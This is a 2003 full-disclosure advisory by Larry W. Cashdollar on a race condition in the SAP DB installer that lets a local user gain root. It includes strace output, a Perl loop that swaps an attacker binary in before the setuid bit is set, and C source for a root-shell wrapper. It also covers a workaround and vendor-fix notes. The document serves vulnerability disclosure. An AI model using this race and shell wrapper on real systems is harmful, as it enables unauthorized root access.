full-disclosure - SAP database local root vulnerability during installation.

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Message-ID: <20030423101111.J7989-100000@vapid.ath.cx>
From: lwc at vapid.ath.cx (Larry W. Cashdollar)
Subject: SAP database local root vulnerability during installation.

This is an older (moot) vulnerability that I discovered which was never
released, the vendor has fixed it.  It is similar to what KF at snosoft
discovered recently in the current version of SAPDB.


Vapid Labs
SAP database local root vulnerability during installation.
December 10, 2002

I. BACKGROUND

  SAP DB is a Free Enterprise database (http://www.sapdb.org). An
exploitable race condition exists during installation that can be won to
yield root to a local malicous user.  An executable is world writeable
before a setuid bit is set by the installation program.  This condition
exists for both the production version 7.3.0.29 and the beta version
7.4.3.7 beta (www.sapdb.org/tgz_linux.htm).


II. DESCRIPTION

  Installation of the SAP database is done by the binary SDBINST.  This
first uncompresses the files, changes permissions and then runs a file
integrity check.  Once this check is completed setuid bits are added to
two files.  A large gap between this check and the setuid operation exists
(a few seconds at i least).  This gives us ample time to change the
contents of the pre-setuid file.

For the production 7.3.0.29 version:

Before the setuid root bit is set, a log file is written to that a normal
non-privilidged user can read.  This file was located in
/tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/.
 We simply watch that file for what is written to it just before the call
to chmod and copy our malicious code over the target binary.


Below is a partial analysis of SDBINST.

chmod("/usr/sapdb/depend/pgm/lserver", 0100777) = 0

.
.
.

open("/tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/LIST7aad69a8$O_WRONLY|O_CREAT|O_TRUNC,
0666) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
fcntl64(0x3, 0x2, 0x1, 0x401a6ce0)      = 0
fstat64(3, {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1,
0) = 0x40024000
write(3, "\"lib/libsqlca.a\" f1d67919f97aa15"..., 4096) = 4096
write(3, "/PRECOM.ins\" 6e00ace2afd80ec50a1"..., 4096) = 4096

.
.

chmod("/usr/sapdb/depend/pgm/lserver", 04775) = 0


For the Beta 7.4.3.7 version:

All of the files are checked for data integrity before the setuid bit is
set, the installation no longer writes to a log file during this
operation.  It appears that just before the setuid bit is set a directory
is created /opt/sapdb/depend/wrk.  It proved more difficult to win the
race using this directory creation as an indicator to copy our file over.
I was able to win the race with a timed copy after the last file had been
written from the archive and just before the integrity check had finished.

Below is an analysis of the installation program SDBRUN.

chmod("/opt/sapdb/depend/pgm/lserver", 0777) = 0
.
.

20224 stat64("/opt/sapdb/depend/wrk", 0x8150c20) = -1 ENOENT (No such file
or directory)
20224 stat64("/opt/sapdb/depend", {st_mode=S_IFDIR|0775, st_size=4096,
...}) = 020224 mkdir("/opt/sapdb/depend/wrk", 0775) = 0
20224 chmod("/opt/sapdb/depend/wrk", 0775) = 0
20224 stat64("/opt/sapdb/depend/wrk", {st_mode=S_IFDIR|0775, st_size=4096,
...}) = 0
20224 chown32(0x872b640, 0x5456, 0x5456) = 0
20224 chown32(0x88c3f88, 0, 0x5456)     = 0
20224 chmod("/opt/sapdb/depend/pgm/dbmsrv", 04775) = 0
20224 chown32(0x88c4870, 0, 0x5456)     = 0
20224 chmod("/opt/sapdb/depend/pgm/lserver", 04775) = 0



III. ANALYSIS

Local attackers can exploit this vulnerability to gain root access
on a targeted system.  The attacker would have needed previous knowledge
of the system administrators SAP installation.  To exploit the 7.4 beta
version of this software an attacker would need to have a good idea of the
target systems hardware type and speed.


IV. EXPLOIT

#!/bin/perl

while (1) {

    $test =`grep -sh PRECOM.ins
/tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/LIST*`;

    if ( $test =~ /PRECOM/ ) {
        system("cp /home/lwc/run /usr/sapdb/depend/pgm/lserver");
        exit(1);
    }

}


The code we would rather have in place is:

---- run.c -----
/*##Larry W. Cashdollar, lwc@...id.dhs.org
 *##This is just a wrapper to boost our privs from euid(0) to uid(0)
guid(0 */

#include <stdio.h>
#include <unistd.h>


int
main (void)
{
  char *shell[2];
  shell[0] = "sh";
  shell[1] = NULL;
  if (!setreuid (0, 0))
    printf ("We have root, getting sgid perms and spawning shell.\n");
  else
    {
      printf ("Ack, We lost the race.\n");
      _exit (0);
    }
  setregid (0, 0);
  execve ("/bin/sh", shell, NULL);
  return(0);
}
------ run.c --------


V. DETECTION

sapdb-server-linux-32bit-i386-7_3_0_29, sapdb-all-linux-32bit-i386-7_4_3_7
are the versions I used.

VI. WORKAROUND

Boot the system into single user mode only and ensure no other users are
logged in during installation.

VII. VENDOR FIX

The vendor was never notified, and this issue was fixed in the latest
release.

VIII. CVE INFORMATION

The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project
has not assigned an identification number to this issue.

IX. CREDIT

Larry W. Cashdollar (http://vapid.dhs.org) discovered this vulnerability.